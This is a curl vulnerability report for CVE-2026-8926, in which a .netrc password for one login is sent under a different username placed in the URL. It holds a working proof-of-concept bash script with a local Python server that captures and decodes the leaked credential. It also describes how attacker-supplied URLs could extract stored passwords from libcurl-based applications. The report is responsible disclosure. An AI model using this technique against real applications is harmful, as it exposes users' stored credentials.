curl · Report #3735184
CVE-2026-8926: password leak with netrc and user in URL
How it was found
Hey all, Before the following report, I just want to point to a comment from our scanner, where it seems it was already picked up but it was dismissed and the PR was closed later by another commit - https://github.com/curl/curl/pull/20932#issuecomment-4072903895
Nonetheless, it appears this issue exists for a while, actually since e9b9bbac22c26cf67316fa8e6c6b9e831af31949 (2024-11-15)
Summary:
curl/libcurl can combine a username supplied in the URL with a password from a .netrc entry whose explicit login does not match that username.
For example, if .netrc contains credentials for alice, and the requested URL contains username bob, curl sends an HTTP Basic Authorization header for bob:alice_password.
This contradicts the documented behavior that, when a username is provided in the URL, curl/libcurl looks for the password for that specific user, or falls back to a generic machine entry without a login.
Steps To Reproduce:
Given this .netrc:
machine 127.0.0.1 login alice password secret
and this request:
curl --netrc-optional http://[email protected]:18080/
curl sends:
Authorization: Basic Ym9iOnNlY3JldA==
which decodes to:
bob:secret
The password secret belongs to login alice, but it is sent with URL username bob.
PoC
#!/usr/bin/env bash
set -euo pipefail
tmp="$(mktemp -d)"
port=18080
mkdir -p "$tmp/home"
cat >"$tmp/home/.netrc" <<'EOF'
machine 127.0.0.1 login alice password secret
EOF
chmod 0600 "$tmp/home/.netrc"
cat >"$tmp/server.py" <<'PY'
import base64
import http.server
import socketserver
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
auth = self.headers.get("Authorization", "")
print("Authorization:", auth, flush=True)
if auth.startswith("Basic "):
decoded = base64.b64decode(auth.split(" ", 1)[1]).decode()
print("Decoded:", decoded, flush=True)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok\n")
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 18080), Handler) as httpd:
httpd.handle_request()
PY
python3 "$tmp/server.py" &
server_pid=$!
sleep 0.3
HOME="$tmp/home" curl \
--silent \
--show-error \
--netrc-optional \
"http://[email protected]:$port/" \
>/dev/null
wait "$server_pid"
Expected Result
curl should not use alice’s password for URL username bob.
Expected decoded credential should either be:
bob:
or no Authorization header, depending on the selected .netrc mode and fallback behavior.
Actual Result
Authorization: Basic Ym9iOnNlY3JldA==
Decoded: bob:secret
Impact
Summary:
An attacker who can influence a URL passed to curl/libcurl while .netrc is enabled can cause a saved password for one account on a host to be sent under a different username for that same host.
Impact examples:
- Password submission to the wrong account context on the same host.
- libcurl-based applications that fetch attacker-controlled URLs with CURLOPT_NETRC enabled may leak stored .netrc passwords without the application intending to authenticate as that user.
This is not a cross-host credential leak, but it violates the username-specific .netrc selection semantics and can expose credentials in realistic URL-injection or attacker-supplied URL workflows.